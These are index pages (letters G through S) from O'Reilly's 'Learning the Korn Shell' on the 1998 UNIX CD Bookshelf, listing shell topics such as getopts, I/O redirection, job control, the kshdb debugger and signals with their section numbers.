The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: G

getopt
Summary of Korn Shell Features
6.1.3. getopts
A.1. The Bourne Shell
getopts
6.1.3. getopts
6.2. Integer Variables and Arithmetic
A.1. The Bourne Shell
advantages : 6.1.3. getopts
arguments : 6.1.3. getopts
error messages : 6.1.3. getopts
exit status : 6.1.3. getopts
OPTARG variable : 6.1.3. getopts
OPTIND variable : 6.1.3. getopts
summary of functionality : 6.1.3. getopts
suppressing error messages : 6.1.3. getopts
Gisin, Eric : A.4. pdksh
GNU : A.5. bash
graphical user interface (GUI)
1. Korn Shell Basics
A.3. wksh
grep
Summary of Korn Shell Features
1.7.1. Standard I/O
4.3.2. Patterns and Regular Expressions
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
4.4. Command Substitution
5.1.2. Combinations of Exit Statuses
5.2. for
7.2.2. read
7.2.2.3. Code blocks
8.2.2. Suspending a Job
10.1. Installing the Korn Shell as the Standard Shell
10.3.2. A System Break-in Scenario
-i (case insensitive) : 4.4. Command Substitution
-l : 4.4. Command Substitution
older BSD version of : 4.4. Command Substitution

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: H

head
4.3.1. Syntax of String Operators
6.2.2. Arithmetic Variables and Assignment
7.3.2. eval
here-documents : 7.1.1. Here-documents
deleting leading TABs in : 7.1.1. Here-documents
parameter and command substitution in : 7.1.1. Here-documents
HISTFILE
2.2. The History File
3.4.2.1. Editing mode variables
3.5.1. Environment Variables
history (alias) : 2.5. The fc Command
history file : 2.2. The History File
printing to : 7.2.1.2. Options to print
HISTSIZE : 2.2. The History File
HOME
3.4.3.1. Miscellaneous Variables
3.5.1. Environment Variables
7.3. Command-line Processing
hostname : 4.4. Command Substitution
HP/UX
1. Korn Shell Basics
1.9.5. Control Keys

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: I

I/O
pipelines : 1.7.3. Pipelines
redirection
1.7.2. I/O Redirection
7.1. I/O Redirectors
A.1. The Bourne Shell
A.4. pdksh
>
1.7.2. I/O Redirection
7.1. I/O Redirectors
>&-
7.1. I/O Redirectors
7.1.2. File Descriptors
>&p : 7.1. I/O Redirectors
>>
7.1. I/O Redirectors
7.1.1. Here-documents
>| : 7.1. I/O Redirectors
<
1.7.2. I/O Redirection
6.2.2. Arithmetic Variables and Assignment
7.1. I/O Redirectors
<&-
7.1. I/O Redirectors
7.1.2. File Descriptors
<&p : 7.1. I/O Redirectors
<>
7.1. I/O Redirectors
7.1.2. File Descriptors
A.1. The Bourne Shell
A.4. pdksh
<< : (see here-documents)
| : 7.1. I/O Redirectors
|& : 7.1. I/O Redirectors
to code blocks : 7.2.2.3. Code blocks
to/from file descriptors
7.1. I/O Redirectors
7.1.2. File Descriptors
7.2.2.4. Reading User Input
7.2.2.5. Options to read
to functions : 7.2.2.2. I/O Redirection and multiple commands
limitations in restricted shell : 10.3.1. Restricted Shell
to multiline flow-control constructs : 7.2.2.2. I/O Redirection and multiple commands
order in command-line processing : 7.3. Command-line Processing
sending standard error to a pipe : 7.1.2. File Descriptors
with exec : 9.2.1.2. exec
standard I/O : 1.7.1. Standard I/O
inheritance by subshells : 8.6.1. Subshell Inheritance
in kshdb break conditions : 9.2.3.4. Break conditions
saving standard error in a file : 7.1.2. File Descriptors
strings : (see print, read)
IEEE
A.2. The IEEE 1003.2 POSIX Shell Standard
(see also POSIX)
IEEE POSIX 1003.2 : (see POSIX, shell)
if
5.1. if/else
6.2.2. Arithmetic Variables and Assignment
6.3.3. String Formatting Options
7.2.2.1. Reading lines from files
7.3.1. Quoting
9.2.3.2. Stepping
9.2.3.4. Break conditions
redirecting I/O to : 7.2.2.2. I/O Redirection and multiple commands
syntax : 5.1. if/else
IFS
4.2.1. Positional Parameters
4.2.1.1. Positional parameters in functions
7.2.2. read
7.3. Command-line Processing
role in command-line processing : 7.3. Command-line Processing
incompatibilites in next release : A.7. The Future of the Korn Shell
installing the Korn shell as /bin/sh
10.1. Installing the Korn Shell as the Standard Shell
10.3.4. Privileged Mode
Institute of Electrical and Electronic Engineers : (see IEEE)
INT : 8.6.2. Nested Subshells
Internet
7.1.1. Here-documents
9.2. A Korn Shell Debugger
A.4. pdksh
A.5. bash
interprocess communication (IPC) : 8.3. Signals
ISO : A.2. The IEEE 1003.2 POSIX Shell Standard

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: J

job control
Summary of Korn Shell Features
8.2. Job Control
lack of support for in MS-DOS : A.6. Workalikes on PC Platforms
job numbers
8.1. Process IDs and Job Numbers
8.6.2. Nested Subshells
difference between process IDs and : 8.1. Process IDs and Job Numbers
in job status messages : 8.1. Process IDs and Job Numbers
jobs
7.1.2. File Descriptors
8. Process Handling
8.6.2. Nested Subshells
(see also processes)
background : (see background jobs)
command
1.8. Background Jobs
8.2. Job Control
8.2.1. Foreground and Background
A.1. The Bourne Shell
+ and - in output of : 8.2.1. Foreground and Background
-l (also list process IDs) : 8.2.1. Foreground and Background
-n (list suspended or exited jobs) : 8.2.1. Foreground and Background
-p (only list process IDs)
8.2.1. Foreground and Background
8.3.2. kill
similarity to ps : 8.3.3. ps
definition : 8.1. Process IDs and Job Numbers
resuming : 8.2.2. Suspending a Job
in background : (see bg)
in background, pitfalls of : 8.2.2. Suspending a Job
status messages : 8.1. Process IDs and Job Numbers
suspending
8.2. Job Control
8.2.2. Suspending a Job
ways to refer to
%% (most recent) : 8.2.1. Foreground and Background
%+ (most recent) : 8.2.1. Foreground and Background
%- (second most recent) : 8.2.1. Foreground and Background
by command name
8.2.1. Foreground and Background
8.4. trap
by job number
8.2.1. Foreground and Background
8.3.2. kill
by string search : 8.2.1. Foreground and Background
Joy, Bill : 1.3. History of UNIX Shells

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

keywords
order of precedence in command lookup
4.1.1. Functions
7.3. Command-line Processing
kill
8.2. Job Control
8.3.2. kill
8.4. trap
A.1. The Bourne Shell
-l (list signals) : 8.3. Signals
arguments to : 8.3.2. kill
default signal sent : 8.3.2. kill
killing runaway processes : 8.3.3.1. System V
used with process IDs : 8.3.3.1. System V
Korn, David
1.3.1. The Korn Shell
A.7. The Future of the Korn Shell
kshdb
9. Debugging Shell Programs
9.2. A Korn Shell Debugger
commands : 9.2.3.1. Commands
*bc (set break condition) : 9.2.3.4. Break conditions
*bp (set breakpoint) : 9.2.3.3. Breakpoints
*bp (without arguments; list breakpoints) : 9.2.3.3. Breakpoints
*cb (clear breakpoints) : 9.2.3.3. Breakpoints
*g (go) : 9.2.3.1. Commands
*q (quit) : 9.2.3.2. Stepping
*s (step) : 9.2.3.2. Stepping
*x (execution tracing) : 9.2.3.5. Execution tracing
enhancing : 9.2.5. Exercises
limitations : 9.2.3.6. Limitations
sample session : 9.2.4. Sample kshdb Session
source code
debugging functions : 9.2.5. Exercises
driver script : 9.2.1.1. The driver script
online availability : 9.2. A Korn Shell Debugger
preamble : 9.2.2. The Preamble
structure : 9.2.1. Structure of the Debugger
.kshrc : 3.5.2. The Environment File

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

let
6.2.2. Arithmetic Variables and Assignment
6.3.3. String Formatting Options
A.1. The Bourne Shell
(see also arithmetic expressions)
examples : 6.2.2. Arithmetic Variables and Assignment
syntax : 6.2.2. Arithmetic Variables and Assignment
LINENO
9.1.1. Set Options
9.1.2.2. ERR
9.2.2. The Preamble
LINES : 3.4.2.1. Editing mode variables
linkers : (see linking)
linking
5.1.3.2. About C Compilers
5.3. case
6.1.3.1. More About C Compilers
LISP
1.7. Input and Output
5.1.1. Exit Status and Return
LOGNAME : 3.5.1. Environment Variables
logout command files : 3.2. Aliases
lp
1.5.1. Commands, Arguments, and Options
1.6.1.1. The working directory
1.7.3. Pipelines
7.1.1. Here-documents
ls
1.6.2. Filenames and Wildcards
7.2.2.3. Code blocks
8.5. Coroutines
-F (show file type) : 3.2. Aliases
-l (long listing)
1.6.2. Filenames and Wildcards
5.1.3.3. File Attribute Checking
column formats of : 4.4. Command Substitution

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

mail
1.5.1. Commands, Arguments, and Options
1.7.1. Standard I/O
3.1. The .profile File
3.4.2.2. Mail Variables
3.5.1. Environment Variables
4.4. Command Substitution
7.1.1. Here-documents
7.2.2.5. Options to read
8.4.1. Traps and Functions
8.4.2. Process ID Variables and Temporary Files
8.4.4. Resetting Traps
A.1. The Bourne Shell
dead.letter : 8.4.2. Process ID Variables and Temporary Files
MAIL
3.4.2.2. Mail Variables
3.5.1. Environment Variables
MAILCHECK : 3.4.2.2. Mail Variables
MAILPATH
3.4.2.2. Mail Variables
3.4.2.5. Command Search Path
3.5.1. Environment Variables
4.5. Advanced Examples: pushd and popd
A.6. Workalikes on PC Platforms
.mailrc : 7.1. I/O Redirectors
make
7.3.2. eval
A.6. Workalikes on PC Platforms
man
4.1. Shell Scripts and Functions
8.3.3.2. BSD
metacharacters : 7.3. Command-line Processing
Microsoft Windows
8. Process Handling
A. Related Shells
Microsoft Windows NT : 8. Process Handling
mknod : 8.3. Signals
MKS Toolkit
A.2. The IEEE 1003.2 POSIX Shell Standard
A.6. Workalikes on PC Platforms
shell
A. Related Shells
A.6. Workalikes on PC Platforms
names for standard shell files : A.6. Workalikes on PC Platforms
obtaining : A.6. Workalikes on PC Platforms
Modula
4.1.1. Functions
4.3.1. Syntax of String Operators
more
1.7.3. Pipelines
3.4.2.4. Terminal Types
8.5. Coroutines
MS-DOS
Preface
1.6.2. Filenames and Wildcards
2.6. Finger Habits
5.2. for
8. Process Handling
A. Related Shells
A.2. The IEEE 1003.2 POSIX Shell Standard
A.6. Workalikes on PC Platforms
multitasking in POSIX shell standard : A.2. The IEEE 1003.2 POSIX Shell Standard
mv
5.2. for
6.1.3.1. More About C Compilers
8.4.2. Process ID Variables and Temporary Files

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

Network Information Service (NIS) : 7.3.2.1. The C Compiler as Pipeline
new features in next release : A.7. The Future of the Korn Shell
newgrp : A.6. Workalikes on PC Platforms
next release
incompatibilities : A.7. The Future of the Korn Shell
new features : A.7. The Future of the Korn Shell
obsolete features in : A.7. The Future of the Korn Shell
nice : 1.8.2. Background Jobs and Priorities
nohup
8.4.3. Ignoring Signals
A.1. The Bourne Shell
Novell : A.7. The Future of the Korn Shell
Novell NetWare : A. Related Shells
null string : 4.2.1. Positional Parameters

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

object-code libraries : 6.1.3.1. More About C Compilers
C runtime library : 6.1.3.1. More About C Compilers
names of : 6.1.3.1. More About C Compilers
obsolete features in next release : A.7. The Future of the Korn Shell
OLDPWD
3.4.3.1. Miscellaneous Variables
4.5. Advanced Examples: pushd and popd
5.1.1. Exit Status and Return
7.3. Command-line Processing
OPEN LOOK : A.3. wksh
OPTARG : 6.1.3. getopts
OPTIND : 6.1.3. getopts
options
3. Customizing Your Environment
3.3. Options
bgnice
3.3. Options
8.5.2. Advantages and Disadvantages of Coroutines
A.6. Workalikes on PC Platforms
command-line : (see command-line options)
dash : (see command-line options)
emacs
2.1. Enabling Command-line Editing
3.3. Options
ignoreeof : 3.3. Options
keyword : 3.5.1. Environment Variables
obsolescence in next release : A.7. The Future of the Korn Shell
list of : B.1. Invocation Options
set -o : B.5. Options
typeset : B.6. Typeset Options
list of those not supported in pdksh : A.4. pdksh
markdirs : 3.3. Options
monitor
8.2. Job Control
A.6. Workalikes on PC Platforms
in next release : A.7. The Future of the Korn Shell
noclobber
3.3. Options
7.1. I/O Redirectors
10.2.3. Types of Global Customization
noexec : 9.1.1. Set Options
turning on and off : 9.1.1. Set Options
noglob : 3.3. Options
privileged
10.3.4. Privileged Mode
A.6. Workalikes on PC Platforms
trackall
3.3. Options
10.2.3. Types of Global Customization
obsolescence in next release : A.7. The Future of the Korn Shell
turning on and off
3.3. Options
9.1.1. Set Options
verbose : 9.1.1. Set Options
vi
2.1. Enabling Command-line Editing
3.3. Options
xtrace : 9.1.1. Set Options
PS4 prompt in : 9.1.1. Set Options
tracing function execution : 9.1.1. Set Options
orphans : (see processes, in pathological states)
OS/2 : A.6. Workalikes on PC Platforms
Version 2 : 8. Process Handling
OSF/Motif : A.3. wksh
other shells : (see entries for individual shells)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

parallelizing shell scripts : 8.5.3. Parallelization
parenthesis
for grouping condition tests : 5.1.3.3. File Attribute Checking
for nested subshells
5.1.3.3. File Attribute Checking
8.6.2. Nested Subshells
within arithmetic expressions : 6.2. Integer Variables and Arithmetic
Pascal
4. Basic Shell Programming
4.1.1. Functions
4.2. Shell Variables
4.3.1. Syntax of String Operators
5.1.1. Exit Status and Return
5.1.1.1. Return
5.2. for
5.3. case
5.5. while and until
6. Command-line Options and Typed Variables
7.3.2.1. The C Compiler as Pipeline
PATH
3.4.2.5. Command Search Path
3.5.1. Environment Variables
4.1. Shell Scripts and Functions
4.5. Advanced Examples: pushd and popd
5.5. while and until
6.2.2. Arithmetic Variables and Assignment
6.3.4. Type and Attribute Options
7.2.1.2. Options to print
7.3. Command-line Processing
10.1. Installing the Korn Shell as the Standard Shell
10.2.3. Types of Global Customization
10.3.4. Privileged Mode
A.1. The Bourne Shell
A.6. Workalikes on PC Platforms
in restricted shell : 10.3.1. Restricted Shell
security problem with
3.4.2.5. Command Search Path
10.3.2. A System Break-in Scenario
pathnames
full : 1.6.1. Directories
limitations in restricted shell : 10.3.1. Restricted Shell
relative : 1.6.1.1. The working directory
pattern-matching operators : 4.3.3. Pattern-matching Operators
#
4.3.3. Pattern-matching Operators
4.5. Advanced Examples: pushd and popd
5.5. while and until
##
4.3.3. Pattern-matching Operators
6.2.2. Arithmetic Variables and Assignment
%
4.3.3. Pattern-matching Operators
5.2. for
5.3. case
%%
4.3.3. Pattern-matching Operators
4.5. Advanced Examples: pushd and popd
5.5. while and until
6.2.2. Arithmetic Variables and Assignment
examples : 4.3.3. Pattern-matching Operators
syntax : 4.3.3. Pattern-matching Operators
PCs
3.4.2.4. Terminal Types
A. Related Shells
A.6. Workalikes on PC Platforms
pdksh : (see public domain Korn shell)
PID : A.6. Workalikes on PC Platforms
pipelines
7.3. Command-line Processing
8.5. Coroutines
system calls used in : 8.5. Coroutines
pipes : 8. Process Handling
to code blocks : 7.2.2.3. Code blocks
compared to two-way pipes : 8.5.5. Two-way Pipes Versus Standard Pipes
two-way : (see two-way pipes)
popd
4.5. Advanced Examples: pushd and popd
5.1.3.1. String comparisons
6.2.2. Arithmetic Variables and Assignment
10.2.3. Types of Global Customization
A.5. bash
additional arguments : 6.2.2. Arithmetic Variables and Assignment
functionality : 4.5. Advanced Examples: pushd and popd
positional parameters
4.2.1. Positional Parameters
6.1. Command-line Options
9.1.1. Set Options
9.2.2. The Preamble
in functions : 4.2.1.1. Positional parameters in functions
number of (#) : 4.2.1. Positional Parameters
syntax for higher than nine : 4.2.2. More on Variable Syntax
POSIX
1003.1 : A.2. The IEEE 1003.2 POSIX Shell Standard
1003.2
(see POSIX, shell)
(see
1003.2a (UPE) : A.2. The IEEE 1003.2 POSIX Shell Standard
history : A.2. The IEEE 1003.2 POSIX Shell Standard
shell
A. Related Shells
A.2. The IEEE 1003.2 POSIX Shell Standard
Korn shell features in : A.2. The IEEE 1003.2 POSIX Shell Standard
pr : 9.2.3.3. Breakpoints
using awk instead of pr -n : 9.2.3.3. Breakpoints
print
1.9.1. Quoting
3.4. Shell Variables
7.2.1. print
7.2.2.4. Reading User Input
7.2.2.5. Options to read
9.2.3.6. Limitations
A.1. The Bourne Shell
as debugging aid : 9.1. Basic Debugging Aids
escape sequences : 7.2.1.1. print escape sequences
features in next release : A.7. The Future of the Korn Shell
for emulating eval : 7.3.2. eval
options : 7.2.1.2. Options to print
-n
4.3.1. Syntax of String Operators
7.2.1.2. Options to print
-n (suppress LINEFEED)
5.1.3.3. File Attribute Checking
6.3.3. String Formatting Options
-p : 7.2.1.2. Options to print
-p (to two-way pipe)
8.5.4. Coroutines with Two-way Pipes
8.5.5. Two-way Pipes Versus Standard Pipes
-r : 7.2.1.2. Options to print
-s : 7.2.1.2. Options to print
-u : 7.2.1.2. Options to print
priorities : 1.8.2. Background Jobs and Priorities
privileged mode
10.3.4. Privileged Mode
A.1. The Bourne Shell
/etc/suid_profile as environment file : 10.3.4. Privileged Mode
turning off : 10.3.4. Privileged Mode
process IDs
8.1. Process IDs and Job Numbers
8.3.3. ps
8.6.2. Nested Subshells
A.1. The Bourne Shell
! variable (process ID of most recent background job) : 8.4.2. Process ID Variables and Temporary Files
$ variable (ID of current shell)
2.2. The History File
8.4.2. Process ID Variables and Temporary Files
for constructing temp filenames : 8.4.2. Process ID Variables and Temporary Files
difference between job numbers and : 8.1. Process IDs and Job Numbers
processes
8. Process Handling
(see also jobs)
daemons : 8.3.3.2. BSD
group leaders
8.3.3.1. System V
8.3.3.2. BSD
in pathological states
8.3.3.2. BSD
8.5. Coroutines
performance characteristics of : 8.5.2. Advantages and Disadvantages of Coroutines
.profile
2.1. Enabling Command-line Editing
2.2. The History File
3.1. The .profile File
3.5.1. Environment Variables
7.1. I/O Redirectors
7.2.2.1. Reading lines from files
for setting up restricted shell environment : 10.3.1. Restricted Shell
prompting
in read statement : 7.2.2.4. Reading User Input
prompts : 3.4.2.3. Prompting Variables
customizing
with command number : 3.4.2.3. Prompting Variables
with current directory
3.4.2.3. Prompting Variables
7.3.1. Quoting
features in next release : A.7. The Future of the Korn Shell
with user name : 3.4.2.3. Prompting Variables
with machine name : 4.4. Command Substitution
primary : 3.4.2.3. Prompting Variables
processing of PS1 : 7.3.1. Quoting
ps
8.3.3. ps
8.6.2. Nested Subshells
-a
8.3.3. ps
8.3.3.2. BSD
-ax (BSD) : 8.3.3.2. BSD
-e (System V) : 8.3.3.2. BSD
listing all processes on the system : 8.3.3.2. BSD
output of BSD version : 8.3.3. ps
output of System V version : 8.3.3. ps
PS1
3.4.2.3. Prompting Variables
4.4. Command Substitution
7.3.1. Quoting
10.2.3. Types of Global Customization
A.5. bash
command subsitution in next release : A.7. The Future of the Korn Shell
PS2 : 3.4.2.3. Prompting Variables
PS3
3.4.2.3. Prompting Variables
5.4. select
command subsitution in next release : A.7. The Future of the Korn Shell
PS4
3.4.2.3. Prompting Variables
9.1.1. Set Options
in kshdb : 9.2.3. Debugger Functions
public domain Korn shell
Korn Shell Versions
A. Related Shells
A.4. pdksh
documentation : A.4. pdksh
for OS/2 : A.6. Workalikes on PC Platforms
pushd
4.5. Advanced Examples: pushd and popd
5.1.1. Exit Status and Return
5.1.3.3. File Attribute Checking
6.2.2. Arithmetic Variables and Assignment
10.2.3. Types of Global Customization
A.5. bash
additional arguments : 6.2.2. Arithmetic Variables and Assignment
functionality : 4.5. Advanced Examples: pushd and popd
PWD
3.4.2.3. Prompting Variables
3.4.3.1. Miscellaneous Variables
3.5.1. Environment Variables
5.1.1. Exit Status and Return
7.3. Command-line Processing

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

quoting : 1.9.1. Quoting
arithmetic expressions in double quotes : 6.2. Integer Variables and Arithmetic
command substitution with double quotes : 4.4. Command Substitution
in command-line processing : 7.3.1. Quoting
difference between single and double quotes : 7.3.1. Quoting
double quotes with $@ and $* : 4.2.1.1. Positional parameters in functions
examples : 7.3.1. Quoting
rules for quoting character strings : 6.2. Integer Variables and Arithmetic
variables and : 3.4.1. Variables and Quoting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

r (alias) : 2.5. The fc Command
RANDOM : 9.1.2.1. EXIT
read : 7.2.2. read
exit status of : 7.2.2.1. Reading lines from files
from files : 7.2.2.2. I/O Redirection and multiple commands
options : 7.2.2.5. Options to read
-p
7.2.2.5. Options to read
8.5.4. Coroutines with Two-way Pipes
8.5.5. Two-way Pipes Versus Standard Pipes
-r : 7.2.2.5. Options to read
-s
7.2.2.5. Options to read
9.2.3.1. Commands
-u : 7.2.2.5. Options to read
syntax : 7.2.2. read
from user input : 7.2.2.4. Reading User Input
continuing on next line : 7.2.2.5. Options to read
prompting : 7.2.2.4. Reading User Input
readonly
6.3.4. Type and Attribute Options
10.3.4. Privileged Mode
regular expressions
Summary of Korn Shell Features
4.3.2. Patterns and Regular Expressions
A.1. The Bourne Shell
A.4. pdksh
! operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
* operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
+ operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
6.1.1. shift
? operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
@ operator
4.3.2.1. Regular expression basics
4.3.2.2. Korn shell versus awk/egrep regular expressions
compared to awk and egrep : 4.3.2.1. Regular expression basics
operator examples : 4.3.2.1. Regular expression basics
order of evaluation in command-line processing : 7.3. Command-line Processing
relationship to wildcards : 4.3.2.2. Korn shell versus awk/egrep regular expressions
syntax : 4.3.2.1. Regular expression basics
relative pathnames : 1.6.1.1. The working directory
REPLY
in read statement : 7.2.2. read
in select statement
5.4. select
6.3. Arrays
restricted shell : 10.3.1. Restricted Shell
installing as a user's login shell : 10.3.1. Restricted Shell
restrictions : 10.3.1. Restricted Shell
role of .profile in : 10.3.1. Restricted Shell
return : 5.1.1.1. Return
Reverse Polish Notation (RPN)
8.5.4. Coroutines with Two-way Pipes
8.6.2. Nested Subshells
rksh : (see security, restricted shell)
rm : 8.4.2. Process ID Variables and Temporary Files
root : 1.6.1. Directories

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

SCO : 1.9.5. Control Keys
scripts
built-in commands implemented as : 4.1. Shell Scripts and Functions
comments in : 4.3.1. Syntax of String Operators
order of precedence in command lookup
4.1.1. Functions
7.3. Command-line Processing
running : 4.1. Shell Scripts and Functions
SECONDS : 3.4.3.1. Miscellaneous Variables
security
Summary of Korn Shell Features
3.2.1. Tracked Aliases
10.3. System Security Features
Korn shell features pertaining to : 10.3. System Security Features
problem with PATH
3.4.2.5. Command Search Path
10.3.2. A System Break-in Scenario
restricted shell : (see restricted shell)
suid interactive shells : 10.3.2. A System Break-in Scenario
Trojan horse schemes : 10.3.2. A System Break-in Scenario
sed
1.7.1. Standard I/O
4.3.2. Patterns and Regular Expressions
4.3.2.2. Korn shell versus awk/egrep regular expressions
10.1. Installing the Korn Shell as the Standard Shell
select
Summary of Korn Shell Features
5.4. select
6.3. Arrays
7.2.2.4. Reading User Input
A.1. The Bourne Shell
A.2. The IEEE 1003.2 POSIX Shell Standard
description : 5.4. select
lists of names in : 5.4. select
PS3 prompt in : 5.4. select
redirecting I/O to : 7.2.2.2. I/O Redirection and multiple commands
syntax : 5.4. select
set : (see options)
+o (turn off option)
3.3. Options
9.1.1. Set Options
-A (array assignment)
6.3. Arrays
6.3.3. String Formatting Options
-o (turn on option)
3.3. Options
9.1.1. Set Options
A.1. The Bourne Shell
output of in next release : A.7. The Future of the Korn Shell
SHELL
3.4.3.1. Miscellaneous Variables
3.5.1. Environment Variables
A.1. The Bourne Shell
shell compilers : 9. Debugging Shell Programs
shell variables, list of : B.3. Built-in Shell Variables
shift
6.1.1. shift
6.1.3. getopts
signals
8.2. Job Control
8.3. Signals
ALRM
A.6. Workalikes on PC Platforms
A.7. The Future of the Korn Shell
DEBUG : (see fake signals)
description : 8.3. Signals
effect of on processes : 8.3.2. kill
ERR : (see fake signals)
EXIT : (see fake signals)
fake : (see fake signals)
hangup : (see HUP)
HUP : 8.4.3. Ignoring Signals
ignoring : 8.4.3. Ignoring Signals
INT
8.3.1. Control-key Signals
8.3.2. kill
8.4. trap
8.4.1. Traps and Functions
8.4.2. Process ID Variables and Temporary Files
9.1.2.1. EXIT
A.2. The IEEE 1003.2 POSIX Shell Standard
A.6. Workalikes on PC Platforms
KILL
8.3.1. Control-key Signals
8.3.2. kill
8.3.3.1. System V
lack of propagation to subshells
8.6.1. Subshell Inheritance
A.7. The Future of the Korn Shell
listing : 8.3. Signals
other types of : 8.3.1. Control-key Signals
in POSIX shell : A.2. The IEEE 1003.2 POSIX Shell Standard
propagation to subshells in next release : A.7. The Future of the Korn Shell
QUIT
8.3.1. Control-key Signals
8.3.2. kill
8.3.3.1. System V
sending with control keys : 8.3.1. Control-key Signals
shown in background job status messages : 8.3.2. kill
